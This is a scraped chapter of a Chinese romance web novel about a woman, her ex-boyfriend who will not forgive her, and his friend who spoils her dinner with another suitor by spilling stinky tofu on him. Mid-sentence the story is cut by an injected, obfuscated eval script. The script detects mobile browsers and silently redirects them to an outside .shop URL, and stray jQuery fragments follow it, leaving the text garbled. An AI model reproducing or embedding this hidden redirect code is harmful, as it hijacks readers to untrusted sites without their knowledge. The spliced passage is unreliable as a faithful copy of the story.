文趣网 > 其他小说 > 野夏至[破镜重圆] > 11. 第 11 章
    应不染下车后,况野直接一脚油门走了,没有任何留恋。

    应不染神情恍惚地往小区里走,走到楼道电梯口时,她看了一下楼道里没有别人。

    一瞬间,她维持了一整晚的伪装轰然倒塌。

    应不染靠到一旁的墙上,脊背抵着冰冷的大理石墙砖,眼底一片空茫,心像是被细细的线勒着,又疼又酸。

    电梯到了,应不染机械地走进去,机械地打开家门,一进门,屋里的灯居然是亮着的。

    “不染,你回啦。”扎着丸子头端着一盘水果的孙青颖笑着迎过来。

    应不染跟孙青颖和方孟期关系很好,她们都知道应不染家里的密码可以随意出入应不染家。

    “嗯。”应不染淡淡回应。

    孙青颖察觉到不对劲,她放下手中的盘子,走上前来接过应不染的包:“不染你怎么了,没事吧。”

    应不染扯出一抹笑:“我没事。”

    孙青颖暗叫不好,说没事就是有大事。

    “来,到沙发上坐着休息一会儿。”孙青颖拉着应不染往客厅走去。

    应不染乖巧地被孙青颖拉着坐到沙发上。

    “来,跟我说说这是发生什么事情了,公司里面出了什么问题吗?”孙青颖温柔问道。

    应不染听到这话怔怔看向孙青颖,声音飘忽又迷茫:“青颖,我是不是没有跟你说过,我和况野之间是我单方面断崖式分手。”

    “啊,这、这样吗。”孙青颖没想到应不染会突然提起况野,她看着应不染不敢乱说一个字。

    “我刚才跟况野道歉了。”应不染继续说道。

    “嗯,那然后呢,他说什么了。”

    “他说,他这辈子都不会原谅我了。”应不染说道。

    与此同时,孙青颖感受到有一滴水好像砸到了手背上。

    孙青颖脑子一片空白,她看着应不染,可应不染神色无波无澜,仿佛刚才那滴“水”是她的错觉。

    孙青颖紧忙握住应不染的手:“没事没事,不原谅就不原谅呗,况野他谁啊,要他的原谅有什么用。”

    “再说了,你都跟他道歉了,他还想怎样。”孙青颖无脑袒护应不染,“一点陈芝麻烂谷子的破事,这个况野也太小气了。”

    应不染掐着指尖,盯着桌角眼睛一眨不眨。

    孙青颖真的是要急坏了,不知道况野那个狗王八孙子说了什么,怎么能把她家不染伤成这个样子。

    “青颖我累了,想睡觉了。”就在孙青颖思索着该怎么安慰应不染时,应不染突然说话了。

    她说完吐了口浊气,强行压下心中的涩意,冲孙青颖笑笑。

    明天还要上班,不能继续再被影响下去了。

    孙青颖张嘴想要说些什么,但犹犹豫豫还是没开口,眼看着应不染安静又克制的进了浴室。

    -

    第二日一早,应不染如往常一样来上班,她刚打开电脑就收到了陈书达的微信,让她和张览去他的办公室。

    办公室内陈书达一脸严肃,说是昨天饭局结束艾总发了好大一通火,批评技术部一群人明争暗斗,严重影响了朗坤的对外形象,让陈书达好好管教管教他们。

    应不染听着陈书达的话,心里无波无澜,她从始至终都是在反击,从未主动挑起过争端。

    挨了一痛骂后应不染照常去工作,虽然整个朗坤大大小小都还在讨论况野这个顶级豪门继承人的八卦,但高层那里一点关于况野正儿八经的消息都没有,也不知道他到底愿不愿意投资朗坤。

    当然与他一起的金江岳也没有消息。

    一连一个月,应不染都在按部就班地工作,没有再见过况野一面,仿佛那天与况野的道歉是应不染做的一场梦。

    梦醒了,其实现实中根本没有况野这个人,就像以前一样。

    不染酒吧那里传来消息,彻底宣告应不染的围巾找不到了,应不染挤出时间前前后后去了酒吧三趟,里面的人虽然客客气气,但完全没有再继续帮她找的意思。

    一条围巾也报不了警,应不染估计像她这种消费级别的客人,不染酒吧也不会在乎,只能就此接受事实。

    某天一早,一直追求应不染的何林给应不染发了条消息,说是有些事情想要请教应不染,想请应不染吃顿饭。

    应不染不想去,直接回绝了他,对于自己不喜欢的人,应不染绝不会有任何吊着他的心思。

    何林那边又发来了消息,应不染叹了口气打开和他的对话框。

    何林:【不染你别误会,我是真的有问题想要请教你,至于你上次说的话,我也想清楚了】

    何林:【我们继续做朋友好吗,我不会再做任何越界的事情】

    应不染蹙着的眉头微微展开,抛开何林喜欢她不谈,何林本人其实很好。

    虽然何林追了应不染七年,但他一直都很有分寸感,不会让应不染有任何为难的地方。只是七年的时间实在太长太长,何林一直都是默默地陪在应不染身边,这才让应不染有些慌了神。

    应不染不想再继续耽误他下去,所以前些日子才对着何林说了点狠话,应不染本以为她那样说,何林会再也不想理她了,可没想到过了一个月他竟又发了消息过来。

    思索片刻,应不染答应了何林的邀请,希望何林是真的想开了。

    下了班何林开车接应不染去了一家高档日料店,一看就价格不菲。

    “妈,你别催我了,我已经到店里了。”被逼着相亲的冯端也来了这家店,还恰好就跟在应不染她们身后。

    “我靠,应不染!?”冯端一眼就认出了应不染。

    “你个混小子在说什么呢!”

    “妈我先不跟你聊了。”冯端立马挂断了他妈的电话,因为他同时也看到了站在应不染旁边的那个男人。

    冯端紧忙拨通了况野的电话。

    电话响了几下就被接通,他压低声音,语气神秘:“况野,你猜猜我现在在哪里?”冯端注意着应不染的动态,躲在柱子后面给况野打电话。

    “神经病。”况野闭着眼骂了冯端一句就挂断了电话。

    况野这一个月满世界飞,现在正在温哥华出差,而温哥华现在是凌晨三点钟。

    “嘶!哎?况野!”冯端看着被况野挂断的电话气得直抽气,他翻了个白眼又打开相机偷拍了一张应不染的照片。

    此刻,何林恰好在给应不染拉开座位。

    冯端恶狠狠地点击发送,没过几秒,况野那边就打来了电话,冯端不屑地哼了一句,重重挂断了电话。

    况野再次打过来,冯端切了一声,在心里默数三秒接通电话。

    “你现在在哪?”电话刚被接通况野就劈头盖脸的来了这么一句,语气急得很。

    冯端靠在柱子上抖腿:“啧,我在那里重要吗。”

    “你就在那儿不要走,帮我盯着她们。”况野声音清醒不带一丝睡意。

    冯端一听就懂了,贱兮兮地笑:“哟,这是什么意思呀,况少爷未免也把前女友看得太紧了吧。”

    况野那边顿了一下:“城郊那里我有一块地,依山傍水景色很好,你不是想开家农家乐吗,明天我就让林文找你核对细节。”

    冯端啧啧两声:“以前我怎么求你把那块地卖给我你都不给,现在为了应不染还真是下血本啊。”冯端分神又瞄了一眼应不染那边,“我靠,那个男人给应不染夹菜了!”

    “那你就赶紧想办法,把那顿饭给我搅黄。”况野语气又冷又急。

    “行了,虽然咱俩关系不咋样,但看在地的份上,我帮你一把。”

    “别太过分。”况野提醒冯端,“别让应不染难堪,也别吓着她。”

    “行了知道了,我有分寸。”冯端挂断了电话。

    看着有说有笑的应不染和何林二人,冯端摆摆手把一旁的服务员叫了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864610|212153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过来:“你们店有没有臭鳜鱼螺蛳粉什么的?”

    店员跟看傻子一样看着冯端,语气有些不耐烦:“先生,我们这是日料店,没有您说的那些东西。”

    冯端嘘了店员一眼,夸张地用力伸出兜里的手,露出自己手上的百达翡丽:“一万块钱,帮我弄点有臭味东西来,越臭越好。”

    店员也是个识货的,看见冯端的手表两眼放光,他思索片刻:“我宿舍里还有半罐吃剩的王致和臭豆腐您看可以吗?”

    “可以,付款码,我扫你。”冯端付款干净利落。

    店员小跑着把臭豆腐拿了出来,冯端随手从一旁的桌子上拿了个小碗,把臭豆腐倒进去,还嫌弃地捏捏鼻子。

    “行了,没你事了。”说完,冯端就端着还带汤的臭豆腐,直直朝应不染对面的何林走去,神色自然极了。

    紧接着,冯端刚走到何林身边。

    然后“哎呦喂”的一声,冯端不知怎么了,好像不小心崴了脚一般,整个人朝着何林的怀里扑过去。

    然后他手里那碗王致和臭豆腐就连汤带水的被扣在了何林肩膀上。

    ……

    臭气瞬间席卷周围。

    现场安静了两秒,应不染目睹了整个过程,直接愣住了,好荒诞的画面。

    “快擦一下。”反应过来之后,应不染连忙拿起纸巾盒递给何林。

    还在何林怀里的冯端立刻夸张地往后一缩,满脸惊慌失措,声音又大又诚恳:“哎呀!抱歉抱歉抱歉!我走得太急不小心摔倒了,衣服没事吧?要不要紧?我赔,我赔!真的太不好意思了!”

    冯端这一开口应不染才认出他来:“冯端?”

    “哎呀,不染!好巧啊,你也来这里吃饭?”

    何林动作顿了一瞬:“你们认识?”

    “认识啊,我跟不染老熟人了。”冯端表情十分自然,“真是不好意思,把饭泼到你衣服上了。“说着他抽了几张纸,装模作样地给何林擦拭。

    洁白的衬衫越擦,污浊的痕迹被浸染得越大,何林皱着眉头往后一退,淡淡说了句没事。

    “兄弟,要不你去买身新衣服吧,我陪你一块儿,钱我出。”

    “不必了。”何林拒绝,他看着自己身上灰霉色的汤汁,表情僵得难看,他洁癖很严重。

    “不染,我先回家换身衣服,今天就不能陪你吃饭了。”何林闻着身上那腐臭得令人窒息的味道,思索着要立马找一家附近的酒店好好洗个澡。

    “嗯,你快去吧。”应不染点点头。

    何林深深看了冯端一眼,拿上桌上的手机就走了。

    “兄弟不好意思啊!”冯端挥手大声说着,脸上的笑意怎么都压不住。

    “您好,帮我把这些东西都打包吧。”应不染叫来服务员,她本来想跟何林说的话也没说成,再待在这里也没什么意义了。

    更何况她现在不想见到任何跟况野有关的人,包括冯端。

    冯端讪笑着没说什么,眼见着应不染提着饭菜,把她送了出去。

    况野那里急得要死,盯着和冯端的微信一动不动,就等着他那边的消息。

    冯端:【搞定】

    随着冯端的一条微信,况野瞬间放下心来,不过他此刻睡意全无,思索片刻,立马定了最近一班飞往国内的航班。

    都一个月没见应不染了,况野想她想得心都要碎了。

    冯端送走应不染之后完全忘了自己今天是干嘛来的,他嫌弃地闻了闻自己手上不小心沾上的味儿,等了几秒也夺门走了。

    冯端走后,一个一直坐在一旁,气质似港圈御姐般的美女,靠在椅背上拨通了一则电话。

    “喂,阿姨,我见到冯端了。”

    “对,很满意。”御姐美女嘴角噙着一抹似笑非笑,“那就辛苦阿姨帮我再安排下一次见面吧。”

    话落御姐美女挂断了电话,冲着冯端离开的方向挑眉一笑。